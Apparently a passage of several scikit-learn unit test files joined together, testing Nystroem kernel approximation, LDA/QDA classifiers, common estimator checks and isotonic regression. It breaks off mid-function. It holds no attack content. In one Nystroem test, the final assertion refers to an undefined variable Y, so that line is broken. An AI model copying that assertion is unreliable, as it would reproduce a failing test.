        trans = Nystroem(n_components=2, kernel=kern, random_state=rnd)
        X_transformed = trans.fit(X).transform(X)
        assert_equal(X_transformed.shape, (X.shape[0], 2))


def test_nystroem_singular_kernel():
    # test that nystroem works with singular kernel matrix
    rng = np.random.RandomState(0)
    X = rng.rand(10, 20)
    X = np.vstack([X] * 2)  # duplicate samples

    gamma = 100
    N = Nystroem(gamma=gamma, n_components=X.shape[0]).fit(X)
    X_transformed = N.transform(X)

    K = rbf_kernel(X, gamma=gamma)

    assert_array_almost_equal(K, np.dot(X_transformed, X_transformed.T))
    assert_true(np.all(np.isfinite(Y)))


def test_nystroem_poly_kernel_params():
    # Non-regression: Nystroem should pass other parameters beside gamma.
    rnd = np.random.RandomState(37)
    X = rnd.uniform(size=(10, 4))

    K = polynomial_kernel(X, degree=3.1, coef0=.1)
    nystroem = Nystroem(kernel="polynomial", n_components=X.shape[0],
                        degree=3.1, coef0=.1)
    X_transformed = nystroem.fit_transform(X)
    assert_array_almost_equal(np.dot(X_transformed, X_transformed.T), K)


def test_nystroem_callable():
    # Test Nystroem on a callable.
    rnd = np.random.RandomState(42)
    n_samples = 10
    X = rnd.uniform(size=(n_samples, 4))

    def logging_histogram_kernel(x, y, log):
        """Histogram kernel that writes to a log."""
        log.append(1)
        return np.minimum(x, y).sum()

    kernel_log = []
    X = list(X)     # test input validation
    Nystroem(kernel=logging_histogram_kernel,
             n_components=(n_samples - 1),
             kernel_params={'log': kernel_log}).fit(X)
    assert_equal(len(kernel_log), n_samples * (n_samples - 1) / 2)






import sys
import numpy as np
from nose import SkipTest

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import ignore_warnings

from sklearn.datasets import make_blobs
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis
from sklearn.discriminant_analysis import _cov


# import reload
version = sys.version_info
if version[0] == 3:
    # Python 3+ import for reload. Builtin in Python2
    if version[1] == 3:
        reload = None
    else:
        from importlib import reload


# Data is just 6 separable points in the plane
X = np.array([[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]], dtype='f')
y = np.array([1, 1, 1, 2, 2, 2])
y3 = np.array([1, 1, 2, 2, 3, 3])

# Degenerate data with only one feature (still should be separable)
X1 = np.array([[-2, ], [-1, ], [-1, ], [1, ], [1, ], [2, ]], dtype='f')

# Data is just 9 separable points in the plane
X6 = np.array([[0, 0], [-2, -2], [-2, -1], [-1, -1], [-1, -2],
               [1, 3], [1, 2], [2, 1], [2, 2]])
y6 = np.array([1, 1, 1, 1, 1, 2, 2, 2, 2])
y7 = np.array([1, 2, 3, 2, 3, 1, 2, 3, 1])

# Degenerate data with 1 feature (still should be separable)
X7 = np.array([[-3, ], [-2, ], [-1, ], [-1, ], [0, ], [1, ], [1, ],
               [2, ], [3, ]])

# Data that has zero variance in one dimension and needs regularization
X2 = np.array([[-3, 0], [-2, 0], [-1, 0], [-1, 0], [0, 0], [1, 0], [1, 0],
               [2, 0], [3, 0]])

# One element class
y4 = np.array([1, 1, 1, 1, 1, 1, 1, 1, 2])

# Data with less samples in a class than n_features
X5 = np.c_[np.arange(8), np.zeros((8, 3))]
y5 = np.array([0, 0, 0, 0, 0, 1, 1, 1])

solver_shrinkage = [('svd', None), ('lsqr', None), ('eigen', None),
                    ('lsqr', 'auto'), ('lsqr', 0), ('lsqr', 0.43),
                    ('eigen', 'auto'), ('eigen', 0), ('eigen', 0.43)]


def test_lda_predict():
    # Test LDA classification.
    # This checks that LDA implements fit and predict and returns correct
    # values for simple toy data.
    for test_case in solver_shrinkage:
        solver, shrinkage = test_case
        clf = LinearDiscriminantAnalysis(solver=solver, shrinkage=shrinkage)
        y_pred = clf.fit(X, y).predict(X)
        assert_array_equal(y_pred, y, 'solver %s' % solver)

        # Assert that it works with 1D data
        y_pred1 = clf.fit(X1, y).predict(X1)
        assert_array_equal(y_pred1, y, 'solver %s' % solver)

        # Test probability estimates
        y_proba_pred1 = clf.predict_proba(X1)
        assert_array_equal((y_proba_pred1[:, 1] > 0.5) + 1, y,
                           'solver %s' % solver)
        y_log_proba_pred1 = clf.predict_log_proba(X1)
        assert_array_almost_equal(np.exp(y_log_proba_pred1), y_proba_pred1,
                                  8, 'solver %s' % solver)

        # Primarily test for commit 2f34950 -- "reuse" of priors
        y_pred3 = clf.fit(X, y3).predict(X)
        # LDA shouldn't be able to separate those
        assert_true(np.any(y_pred3 != y3), 'solver %s' % solver)

    # Test invalid shrinkages
    clf = LinearDiscriminantAnalysis(solver="lsqr", shrinkage=-0.2231)
    assert_raises(ValueError, clf.fit, X, y)
    clf = LinearDiscriminantAnalysis(solver="eigen", shrinkage="dummy")
    assert_raises(ValueError, clf.fit, X, y)
    clf = LinearDiscriminantAnalysis(solver="svd", shrinkage="auto")
    assert_raises(NotImplementedError, clf.fit, X, y)
    # Test unknown solver
    clf = LinearDiscriminantAnalysis(solver="dummy")
    assert_raises(ValueError, clf.fit, X, y)


def test_lda_priors():
    # Test priors (negative priors)
    priors = np.array([0.5, -0.5])
    clf = LinearDiscriminantAnalysis(priors=priors)
    msg = "priors must be non-negative"
    assert_raise_message(ValueError, msg, clf.fit, X, y)

    # Test that priors passed as a list are correctly handled (run to see if
    # failure)
    clf = LinearDiscriminantAnalysis(priors=[0.5, 0.5])
    clf.fit(X, y)

    # Test that priors always sum to 1
    priors = np.array([0.5, 0.6])
    prior_norm = np.array([0.45, 0.55])
    clf = LinearDiscriminantAnalysis(priors=priors)
    assert_warns(UserWarning, clf.fit, X, y)
    assert_array_almost_equal(clf.priors_, prior_norm, 2)


def test_lda_coefs():
    # Test if the coefficients of the solvers are approximately the same.
    n_features = 2
    n_classes = 2
    n_samples = 1000
    X, y = make_blobs(n_samples=n_samples, n_features=n_features,
                      centers=n_classes, random_state=11)

    clf_lda_svd = LinearDiscriminantAnalysis(solver="svd")
    clf_lda_lsqr = LinearDiscriminantAnalysis(solver="lsqr")
    clf_lda_eigen = LinearDiscriminantAnalysis(solver="eigen")

    clf_lda_svd.fit(X, y)
    clf_lda_lsqr.fit(X, y)
    clf_lda_eigen.fit(X, y)

    assert_array_almost_equal(clf_lda_svd.coef_, clf_lda_lsqr.coef_, 1)
    assert_array_almost_equal(clf_lda_svd.coef_, clf_lda_eigen.coef_, 1)
    assert_array_almost_equal(clf_lda_eigen.coef_, clf_lda_lsqr.coef_, 1)


def test_lda_transform():
    # Test LDA transform.
    clf = LinearDiscriminantAnalysis(solver="svd", n_components=1)
    X_transformed = clf.fit(X, y).transform(X)
    assert_equal(X_transformed.shape[1], 1)
    clf = LinearDiscriminantAnalysis(solver="eigen", n_components=1)
    X_transformed = clf.fit(X, y).transform(X)
    assert_equal(X_transformed.shape[1], 1)

    clf = LinearDiscriminantAnalysis(solver="lsqr", n_components=1)
    clf.fit(X, y)
    msg = "transform not implemented for 'lsqr'"
    assert_raise_message(NotImplementedError, msg, clf.transform, X)


def test_lda_explained_variance_ratio():
    # Test if the sum of the normalized eigen vectors values equals 1,
    # Also tests whether the explained_variance_ratio_ formed by the
    # eigen solver is the same as the explained_variance_ratio_ formed
    # by the svd solver

    state = np.random.RandomState(0)
    X = state.normal(loc=0, scale=100, size=(40, 20))
    y = state.randint(0, 3, size=(40,))

    clf_lda_eigen = LinearDiscriminantAnalysis(solver="eigen")
    clf_lda_eigen.fit(X, y)
    assert_almost_equal(clf_lda_eigen.explained_variance_ratio_.sum(), 1.0, 3)

    clf_lda_svd = LinearDiscriminantAnalysis(solver="svd")
    clf_lda_svd.fit(X, y)
    assert_almost_equal(clf_lda_svd.explained_variance_ratio_.sum(), 1.0, 3)

    tested_length = min(clf_lda_svd.explained_variance_ratio_.shape[0],
                        clf_lda_eigen.explained_variance_ratio_.shape[0])

    # NOTE: clf_lda_eigen.explained_variance_ratio_ is not of n_components
    # length. Make it the same length as clf_lda_svd.explained_variance_ratio_
    # before comparison.
    assert_array_almost_equal(clf_lda_svd.explained_variance_ratio_,
                              clf_lda_eigen.explained_variance_ratio_[:tested_length])


def test_lda_orthogonality():
    # arrange four classes with their means in a kite-shaped pattern
    # the longer distance should be transformed to the first component, and
    # the shorter distance to the second component.
    means = np.array([[0, 0, -1], [0, 2, 0], [0, -2, 0], [0, 0, 5]])

    # We construct perfectly symmetric distributions, so the LDA can estimate
    # precise means.
    scatter = np.array([[0.1, 0, 0], [-0.1, 0, 0], [0, 0.1, 0], [0, -0.1, 0],
                        [0, 0, 0.1], [0, 0, -0.1]])

    X = (means[:, np.newaxis, :] + scatter[np.newaxis, :, :]).reshape((-1, 3))
    y = np.repeat(np.arange(means.shape[0]), scatter.shape[0])

    # Fit LDA and transform the means
    clf = LinearDiscriminantAnalysis(solver="svd").fit(X, y)
    means_transformed = clf.transform(means)

    d1 = means_transformed[3] - means_transformed[0]
    d2 = means_transformed[2] - means_transformed[1]
    d1 /= np.sqrt(np.sum(d1 ** 2))
    d2 /= np.sqrt(np.sum(d2 ** 2))

    # the transformed within-class covariance should be the identity matrix
    assert_almost_equal(np.cov(clf.transform(scatter).T), np.eye(2))

    # the means of classes 0 and 3 should lie on the first component
    assert_almost_equal(np.abs(np.dot(d1[:2], [1, 0])), 1.0)

    # the means of classes 1 and 2 should lie on the second component
    assert_almost_equal(np.abs(np.dot(d2[:2], [0, 1])), 1.0)


def test_lda_scaling():
    # Test if classification works correctly with differently scaled features.
    n = 100
    rng = np.random.RandomState(1234)
    # use uniform distribution of features to make sure there is absolutely no
    # overlap between classes.
    x1 = rng.uniform(-1, 1, (n, 3)) + [-10, 0, 0]
    x2 = rng.uniform(-1, 1, (n, 3)) + [10, 0, 0]
    x = np.vstack((x1, x2)) * [1, 100, 10000]
    y = [-1] * n + [1] * n

    for solver in ('svd', 'lsqr', 'eigen'):
        clf = LinearDiscriminantAnalysis(solver=solver)
        # should be able to separate the data perfectly
        assert_equal(clf.fit(x, y).score(x, y), 1.0,
                     'using covariance: %s' % solver)


def test_qda():
    # QDA classification.
    # This checks that QDA implements fit and predict and returns
    # correct values for a simple toy dataset.
    clf = QuadraticDiscriminantAnalysis()
    y_pred = clf.fit(X6, y6).predict(X6)
    assert_array_equal(y_pred, y6)

    # Assure that it works with 1D data
    y_pred1 = clf.fit(X7, y6).predict(X7)
    assert_array_equal(y_pred1, y6)

    # Test probas estimates
    y_proba_pred1 = clf.predict_proba(X7)
    assert_array_equal((y_proba_pred1[:, 1] > 0.5) + 1, y6)
    y_log_proba_pred1 = clf.predict_log_proba(X7)
    assert_array_almost_equal(np.exp(y_log_proba_pred1), y_proba_pred1, 8)

    y_pred3 = clf.fit(X6, y7).predict(X6)
    # QDA shouldn't be able to separate those
    assert_true(np.any(y_pred3 != y7))

    # Classes should have at least 2 elements
    assert_raises(ValueError, clf.fit, X6, y4)


def test_qda_priors():
    clf = QuadraticDiscriminantAnalysis()
    y_pred = clf.fit(X6, y6).predict(X6)
    n_pos = np.sum(y_pred == 2)

    neg = 1e-10
    clf = QuadraticDiscriminantAnalysis(priors=np.array([neg, 1 - neg]))
    y_pred = clf.fit(X6, y6).predict(X6)
    n_pos2 = np.sum(y_pred == 2)

    assert_greater(n_pos2, n_pos)


def test_qda_store_covariances():
    # The default is to not set the covariances_ attribute
    clf = QuadraticDiscriminantAnalysis().fit(X6, y6)
    assert_true(not hasattr(clf, 'covariances_'))

    # Test the actual attribute:
    clf = QuadraticDiscriminantAnalysis(store_covariances=True).fit(X6, y6)
    assert_true(hasattr(clf, 'covariances_'))

    assert_array_almost_equal(
        clf.covariances_[0],
        np.array([[0.7, 0.45], [0.45, 0.7]])
    )

    assert_array_almost_equal(
        clf.covariances_[1],
        np.array([[0.33333333, -0.33333333], [-0.33333333, 0.66666667]])
    )


def test_qda_regularization():
    # the default is reg_param=0. and will cause issues
    # when there is a constant variable
    clf = QuadraticDiscriminantAnalysis()
    with ignore_warnings():
        y_pred = clf.fit(X2, y6).predict(X2)
    assert_true(np.any(y_pred != y6))

    # adding a little regularization fixes the problem
    clf = QuadraticDiscriminantAnalysis(reg_param=0.01)
    with ignore_warnings():
        clf.fit(X2, y6)
    y_pred = clf.predict(X2)
    assert_array_equal(y_pred, y6)

    # Case n_samples_in_a_class < n_features
    clf = QuadraticDiscriminantAnalysis(reg_param=0.1)
    with ignore_warnings():
        clf.fit(X5, y5)
    y_pred5 = clf.predict(X5)
    assert_array_equal(y_pred5, y5)


def test_deprecated_lda_qda_deprecation():
    if reload is None:
        raise SkipTest("Can't reload module on Python3.3")

    def import_lda_module():
        import sklearn.lda
        # ensure that we trigger DeprecationWarning even if the sklearn.lda
        # was loaded previously by another test.
        reload(sklearn.lda)
        return sklearn.lda

    lda = assert_warns(DeprecationWarning, import_lda_module)
    assert lda.LDA is LinearDiscriminantAnalysis

    def import_qda_module():
        import sklearn.qda
        # ensure that we trigger DeprecationWarning even if the sklearn.qda
        # was loaded previously by another test.
        reload(sklearn.qda)
        return sklearn.qda

    qda = assert_warns(DeprecationWarning, import_qda_module)
    assert qda.QDA is QuadraticDiscriminantAnalysis


def test_covariance():
    x, y = make_blobs(n_samples=100, n_features=5,
                      centers=1, random_state=42)

    # make features correlated
    x = np.dot(x, np.arange(x.shape[1] ** 2).reshape(x.shape[1], x.shape[1]))

    c_e = _cov(x, 'empirical')
    assert_almost_equal(c_e, c_e.T)

    c_s = _cov(x, 'auto')
    assert_almost_equal(c_s, c_s.T)






"""
General tests for all estimators in sklearn.
"""

# Authors: Andreas Mueller <amueller@ais.uni-bonn.de>
#          Gael Varoquaux gael.varoquaux@normalesup.org
# License: BSD 3 clause
from __future__ import print_function

import os
import warnings
import sys
import re
import pkgutil

from sklearn.externals.six import PY3
from sklearn.utils.testing import assert_false, clean_warning_registry
from sklearn.utils.testing import all_estimators
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_in
from sklearn.utils.testing import ignore_warnings

import sklearn
from sklearn.cluster.bicluster import BiclusterMixin
from sklearn.decomposition import ProjectedGradientNMF

from sklearn.linear_model.base import LinearClassifierMixin
from sklearn.utils.estimator_checks import (
    _yield_all_checks,
    CROSS_DECOMPOSITION,
    check_parameters_default_constructible,
    check_class_weight_balanced_linear_classifier,
    check_transformer_n_iter,
    check_non_transformer_estimators_n_iter,
    check_get_params_invariance)


def test_all_estimator_no_base_class():
    # test that all_estimators doesn't find abstract classes.
    for name, Estimator in all_estimators():
        msg = ("Base estimators such as {0} should not be included"
               " in all_estimators").format(name)
        assert_false(name.lower().startswith('base'), msg=msg)


def test_all_estimators():
    # Test that estimators are default-constructible, cloneable
    # and have working repr.
    estimators = all_estimators(include_meta_estimators=True)

    # Meta sanity-check to make sure that the estimator introspection runs
    # properly
    assert_greater(len(estimators), 0)

    for name, Estimator in estimators:
        # some can just not be sensibly default constructed
        yield check_parameters_default_constructible, name, Estimator


def test_non_meta_estimators():
    # input validation etc for non-meta estimators
    estimators = all_estimators()
    for name, Estimator in estimators:
        if issubclass(Estimator, BiclusterMixin):
            continue
        if name.startswith("_"):
            continue
        for check in _yield_all_checks(name, Estimator):
            if issubclass(Estimator, ProjectedGradientNMF):
                # The ProjectedGradientNMF class is deprecated
                with ignore_warnings():
                    yield check, name, Estimator
            else:
                yield check, name, Estimator


def test_configure():
    # Smoke test the 'configure' step of setup, this tests all the
    # 'configure' functions in the setup.pys in the scikit
    cwd = os.getcwd()
    setup_path = os.path.abspath(os.path.join(sklearn.__path__[0], '..'))
    setup_filename = os.path.join(setup_path, 'setup.py')
    if not os.path.exists(setup_filename):
        return
    try:
        os.chdir(setup_path)
        old_argv = sys.argv
        sys.argv = ['setup.py', 'config']
        clean_warning_registry()
        with warnings.catch_warnings():
            # The configuration spits out warnings when not finding
            # Blas/Atlas development headers
            warnings.simplefilter('ignore', UserWarning)
            if PY3:
                with open('setup.py') as f:
                    exec(f.read(), dict(__name__='__main__'))
            else:
                execfile('setup.py', dict(__name__='__main__'))
    finally:
        sys.argv = old_argv
        os.chdir(cwd)


def test_class_weight_balanced_linear_classifiers():
    classifiers = all_estimators(type_filter='classifier')

    clean_warning_registry()
    with warnings.catch_warnings(record=True):
        linear_classifiers = [
            (name, clazz)
            for name, clazz in classifiers
            if ('class_weight' in clazz().get_params().keys() and
                issubclass(clazz, LinearClassifierMixin))]

    for name, Classifier in linear_classifiers:
        yield check_class_weight_balanced_linear_classifier, name, Classifier


@ignore_warnings
def test_import_all_consistency():
    # Smoke test to check that any name in a __all__ list is actually defined
    # in the namespace of the module or package.
    pkgs = pkgutil.walk_packages(path=sklearn.__path__, prefix='sklearn.',
                                 onerror=lambda _: None)
    submods = [modname for _, modname, _ in pkgs]
    for modname in submods + ['sklearn']:
        if ".tests." in modname:
            continue
        package = __import__(modname, fromlist="dummy")
        for name in getattr(package, '__all__', ()):
            if getattr(package, name, None) is None:
                raise AttributeError(
                    "Module '{0}' has no attribute '{1}'".format(
                        modname, name))


def test_root_import_all_completeness():
    EXCEPTIONS = ('utils', 'tests', 'base', 'setup')
    for _, modname, _ in pkgutil.walk_packages(path=sklearn.__path__,
                                               onerror=lambda _: None):
        if '.' in modname or modname.startswith('_') or modname in EXCEPTIONS:
            continue
        assert_in(modname, sklearn.__all__)


def test_all_tests_are_importable():
    # Ensure that for each contentful subpackage, there is a test directory
    # within it that is also a subpackage (i.e. a directory with __init__.py)

    HAS_TESTS_EXCEPTIONS = re.compile(r'''(?x)
                                      \.externals(\.|$)|
                                      \.tests(\.|$)|
                                      \._
                                      ''')
    lookup = dict((name, ispkg)
                  for _, name, ispkg
                  in pkgutil.walk_packages(sklearn.__path__,
                                           prefix='sklearn.'))
    missing_tests = [name for name, ispkg in lookup.items()
                     if ispkg
                     and not HAS_TESTS_EXCEPTIONS.search(name)
                     and name + '.tests' not in lookup]
    assert_equal(missing_tests, [],
                 '{0} do not have `tests` subpackages. Perhaps they require '
                 '__init__.py or an add_subpackage directive in the parent '
                 'setup.py'.format(missing_tests))


def test_non_transformer_estimators_n_iter():
    # Test that all estimators of type which are non-transformer
    # and which have an attribute of max_iter, return the attribute
    # of n_iter atleast 1.
    for est_type in ['regressor', 'classifier', 'cluster']:
        regressors = all_estimators(type_filter=est_type)
        for name, Estimator in regressors:
            # LassoLars stops early for the default alpha=1.0 for
            # the iris dataset.
            if name == 'LassoLars':
                estimator = Estimator(alpha=0.)
            else:
                estimator = Estimator()
            if hasattr(estimator, "max_iter"):
                # These models are dependent on external solvers like
                # libsvm and accessing the iter parameter is non-trivial.
                if name in (['Ridge', 'SVR', 'NuSVR', 'NuSVC',
                             'RidgeClassifier', 'SVC', 'RandomizedLasso',
                             'LogisticRegressionCV']):
                    continue

                # Tested in test_transformer_n_iter below
                elif (name in CROSS_DECOMPOSITION or
                      name in ['LinearSVC', 'LogisticRegression']):
                    continue

                else:
                    # Multitask models related to ENet cannot handle
                    # if y is mono-output.
                    yield (check_non_transformer_estimators_n_iter,
                           name, estimator, 'Multi' in name)


def test_transformer_n_iter():
    transformers = all_estimators(type_filter='transformer')
    for name, Estimator in transformers:
        if issubclass(Estimator, ProjectedGradientNMF):
            # The ProjectedGradientNMF class is deprecated
            with ignore_warnings():
                estimator = Estimator()
        else:
            estimator = Estimator()
        # Dependent on external solvers and hence accessing the iter
        # param is non-trivial.
        external_solver = ['Isomap', 'KernelPCA', 'LocallyLinearEmbedding',
                           'RandomizedLasso', 'LogisticRegressionCV']

        if hasattr(estimator, "max_iter") and name not in external_solver:
            if isinstance(estimator, ProjectedGradientNMF):
                # The ProjectedGradientNMF class is deprecated
                with ignore_warnings():
                    yield check_transformer_n_iter, name, estimator
            else:
                yield check_transformer_n_iter, name, estimator

def test_get_params_invariance():
    # Test for estimators that support get_params, that
    # get_params(deep=False) is a subset of get_params(deep=True)
    # Related to issue #4465

    estimators = all_estimators(include_meta_estimators=False,
                                include_other=True)
    for name, Estimator in estimators:
        if hasattr(Estimator, 'get_params'):
            # If class is deprecated, ignore deprecated warnings
            if hasattr(Estimator.__init__, "deprecated_original"):
                with ignore_warnings():
                    yield check_get_params_invariance, name, Estimator
            else:
                yield check_get_params_invariance, name, Estimator






# Basic unittests to test functioning of module's top-level

__author__ = 'Yaroslav Halchenko'
__license__ = 'BSD'


from sklearn.utils.testing import assert_equal

try:
    from sklearn import *
    _top_import_error = None
except Exception as e:
    _top_import_error = e


def test_import_skl():
    # Test either above import has failed for some reason
    # "import *" is discouraged outside of the module level, hence we
    # rely on setting up the variable above
    assert_equal(_top_import_error, None)






import warnings
import numpy as np
import pickle
import copy

from sklearn.isotonic import (check_increasing, isotonic_regression,
                              IsotonicRegression)

from sklearn.utils.testing import (assert_raises, assert_array_equal,
                                   assert_true, assert_false, assert_equal,
                                   assert_array_almost_equal,
                                   assert_warns_message, assert_no_warnings)
from sklearn.utils import shuffle


def test_permutation_invariance():
    # check that fit is permutation invariant.
    # regression test of missing sorting of sample-weights
    ir = IsotonicRegression()
    x = [1, 2, 3, 4, 5, 6, 7]
    y = [1, 41, 51, 1, 2, 5, 24]
    sample_weight = [1, 2, 3, 4, 5, 6, 7]
    x_s, y_s, sample_weight_s = shuffle(x, y, sample_weight, random_state=0)
    y_transformed = ir.fit_transform(x, y, sample_weight=sample_weight)
    y_transformed_s = ir.fit(x_s, y_s, sample_weight=sample_weight_s).transform(x)

    assert_array_equal(y_transformed, y_transformed_s)


def test_check_increasing_up():
    x = [0, 1, 2, 3, 4, 5]
    y = [0, 1.5, 2.77, 8.99, 8.99, 50]

    # Check that we got increasing=True and no warnings
    is_increasing = assert_no_warnings(check_increasing, x, y)
    assert_true(is_increasing)


def test_check_increasing_up_extreme():
    x = [0, 1, 2, 3, 4, 5]
    y = [0, 1, 2, 3, 4, 5]

    # Check that we got increasing=True and no warnings
    is_increasing = assert_no_warnings(check_increasing, x, y)
    assert_true(is_increasing)


def test_check_increasing_down():
    x = [0, 1, 2, 3, 4, 5]
    y = [0, -1.5, -2.77, -8.99, -8.99, -50]

    # Check that we got increasing=False and no warnings
    is_increasing = assert_no_warnings(check_increasing, x, y)
    assert_false(is_increasing)


def test_check_increasing_down_extreme():
    x = [0, 1, 2, 3, 4, 5]
    y = [0, -1, -2, -3, -4, -5]

    # Check that we got increasing=False and no warnings
    is_increasing = assert_no_warnings(check_increasing, x, y)
    assert_false(is_increasing)


def test_check_ci_warn():
    x = [0, 1, 2, 3, 4, 5]
    y = [0, -1, 2, -3, 4, -5]

    # Check that we got increasing=False and CI interval warning
    is_increasing = assert_warns_message(UserWarning, "interval",
                                         check_increasing,
                                         x, y)

    assert_false(is_increasing)


def test_isotonic_regression():
    y = np.array([3, 7, 5, 9, 8, 7, 10])
    y_ = np.array([3, 6, 6, 8, 8, 8, 10])
    assert_array_equal(y_, isotonic_regression(y))

    x = np.arange(len(y))
    ir = IsotonicRegression(y_min=0., y_max=1.)
    ir.fit(x, y)
    assert_array_equal(ir.fit(x, y).transform(x), ir.fit_transform(x, y))
    assert_array_equal(ir.transform(x), ir.predict(x))

    # check that it is immune to permutation
    perm = np.random.permutation(len(y))
    ir = IsotonicRegression(y_min=0., y_max=1.)
    assert_array_equal(ir.fit_transform(x[perm], y[perm]),
                       ir.fit_transform(x, y)[perm])
    assert_array_equal(ir.transform(x[perm]), ir.transform(x)[perm])

    # check we don't crash when all x are equal:
    ir = IsotonicRegression()
    assert_array_equal(ir.fit_transform(np.ones(len(x)), y), np.mean(y))


def test_isotonic_regression_ties_min():
    # Setup examples with ties on minimum
    x = [1, 1, 2, 3, 4, 5]
    y = [1, 2, 3, 4, 5, 6]
    y_true = [1.5, 1.5, 3, 4, 5, 6]

    # Check that we get identical results for fit/transform and fit_transform
    ir = IsotonicRegression()
    ir.fit(x, y)
    assert_array_equal(ir.fit(x, y).transform(x), ir.fit_transform(x, y))
    assert_array_equal(y_true, ir.fit_transform(x, y))


def test_isotonic_regression_ties_max():
    # Setup examples with ties on maximum
    x = [1, 2, 3, 4, 5, 5]
    y = [1, 2, 3, 4, 5, 6]
    y_true = [1, 2, 3, 4, 5.5, 5.5]

    # Check that we get identical results for fit/transform and fit_transform
    ir = IsotonicRegression()
    ir.fit(x, y)
    assert_array_equal(ir.fit(x, y).transform(x), ir.fit_transform(x, y))
    assert_array_equal(y_true, ir.fit_transform(x, y))


def test_isotonic_regression_ties_secondary_():
    """
    Test isotonic regression fit, transform  and fit_transform
    against the "secondary" ties method and "pituitary" data from R
     "isotone" package, as detailed in: J. d. Leeuw, K. Hornik, P. Mair,
     Isotone Optimization in R: Pool-Adjacent-Violators Algorithm
    (PAVA) and Active Set Methods

    Set values based on pituitary example and
     the following R command detailed in the paper above:
    > library("isotone")
    > data("pituitary")
    > res1 <- gpava(pituitary$age, pituitary$size, ties="secondary")
    > res1$x

    `isotone` version: 1.0-2, 2014-09-07
    R version: R version 3.1.1 (2014-07-10)
    """
    x = [8, 8, 8, 10, 10, 10, 12, 12, 12, 14, 14]
    y = [21, 23.5, 23, 24, 21, 25, 21.5, 22, 19, 23.5, 25]
    y_true = [22.22222, 22.22222, 22.22222, 22.22222, 22.22222, 22.22222,
              22.22222, 22.22222, 22.22222, 24.25, 24.25]

    # Check fit, transform and fit_transform
    ir = IsotonicRegression()
    ir.fit(x, y)
    assert_array_almost_equal(ir.transform(x), y_true, 4)
    assert_array_almost_equal(ir.fit_transform(x, y), y_true, 4)


def test_isotonic_regression_reversed():
    y = np.array([10, 9, 10, 7, 6, 6.1, 5])
    y_ = IsotonicRegression(increasing=False).fit_transform(
        np.arange(len(y)), y)
    assert_array_equal(np.ones(y_[:-1].shape), ((y_[:-1] - y_[1:]) >= 0))


def test_isotonic_regression_auto_decreasing():
    # Set y and x for decreasing
    y = np.array([10, 9, 10, 7, 6, 6.1, 5])
    x = np.arange(len(y))

    # Create model and fit_transform
    ir = IsotonicRegression(increasing='auto')
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter("always")
        y_ = ir.fit_transform(x, y)
        # work-around for pearson divide warnings in scipy <= 0.17.0
        assert_true(all(["invalid value encountered in "
                         in str(warn.message) for warn in w]))

    # Check that relationship decreases
    is_increasing = y_[0] < y_[-1]
    assert_false(is_increasing)


def test_isotonic_regression_auto_increasing():
    # Set y and x for decreasing
    y = np.array([5, 6.1, 6, 7, 10, 9, 10])
    x = np.arange(len(y))

    # Create model and fit_transform
    ir = IsotonicRegression(increasing='auto')
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter("always")
        y_ = ir.fit_transform(x, y)
        # work-around for pearson divide warnings in scipy <= 0.17.0
        assert_true(all(["invalid value encountered in "
                         in str(warn.message) for warn in w]))

    # Check that relationship increases
    is_increasing = y_[0] < y_[-1]
    assert_true(is_increasing)


def test_assert_raises_exceptions():
    ir = IsotonicRegression()
    rng = np.random.RandomState(42)
    assert_raises(ValueError, ir.fit, [0, 1, 2], [5, 7, 3], [0.1, 0.6])
    assert_raises(ValueError, ir.fit, [0, 1, 2], [5, 7])
    assert_raises(ValueError, ir.fit, rng.randn(3, 10), [0, 1, 2])
    assert_raises(ValueError, ir.transform, rng.randn(3, 10))


def test_isotonic_sample_weight_parameter_default_value():
    # check if default value of sample_weight parameter is one
    ir = IsotonicRegression()
    # random test data
    rng = np.random.RandomState(42)
    n = 100
    x = np.arange(n)
    y = rng.randint(-50, 50, size=(n,)) + 50. * np.log(1 + np.arange(n))
    # check if value is correctly used
    weights = np.ones(n)
    y_set_value = ir.fit_transform(x, y, sample_weight=weights)
    y_default_value = ir.fit_transform(x, y)

    assert_array_equal(y_set_value, y_default_value)


def test_isotonic_min_max_boundaries():
    # check if min value is used correctly
    ir = IsotonicRegression(y_min=2, y_max=4)
    n = 6
    x = np.arange(n)
    y = np.arange(n)
    y_test = [2, 2, 2, 3, 4, 4]
    y_result = np.round(ir.fit_transform(x, y))
    assert_array_equal(y_result, y_test)


def test_isotonic_sample_weight():
    ir = IsotonicRegression()
    x = [1, 2, 3, 4, 5, 6, 7]
    y = [1, 41, 51, 1, 2, 5, 24]
    sample_weight = [1, 2, 3, 4, 5, 6, 7]
    expected_y = [1, 13.95, 13.95, 13.95, 13.95, 13.95, 24]
    received_y = ir.fit_transform(x, y, sample_weight=sample_weight)

    assert_array_equal(expected_y, received_y)


def test_isotonic_regression_oob_raise():
    # Set y and x
    y = np.array([3, 7, 5, 9, 8, 7, 10])
    x = np.arange(len(y))

    # Create model and fit
    ir = IsotonicRegression(increasing='auto', out_of_bounds="raise")
    ir.fit(x, y)

    # Check that an exception is thrown
    assert_raises(ValueError, ir.predict, [min(x) - 10, max(x) + 10])


def test_isotonic_regression_oob_clip():
    # Set y and x
    y = np.array([3, 7, 5, 9, 8, 7, 10])
    x = np.arange(len(y))

    # Create model and fit
    ir = IsotonicRegression(increasing='auto', out_of_bounds="clip")
    ir.fit(x, y)

    # Predict from  training and test x and check that min/max match.
    y1 = ir.predict([min(x) - 10, max(x) + 10])
    y2 = ir.predict(x)
    assert_equal(max(y1), max(y2))
    assert_equal(min(y1), min(y2))


def test_isotonic_regression_oob_nan():
    # Set y and x
    y = np.array([3, 7, 5, 9, 8, 7, 10])
    x = np.arange(len(y))

    # Create model and fit
    ir = IsotonicRegression(increasing='auto', out_of_bounds="nan")
    ir.fit(x, y)

    # Predict from  training and test x and check that we have two NaNs.
    y1 = ir.predict([min(x) - 10, max(x) + 10])
    assert_equal(sum(np.isnan(y1)), 2)


def test_isotonic_regression_oob_bad():
    # Set y and x
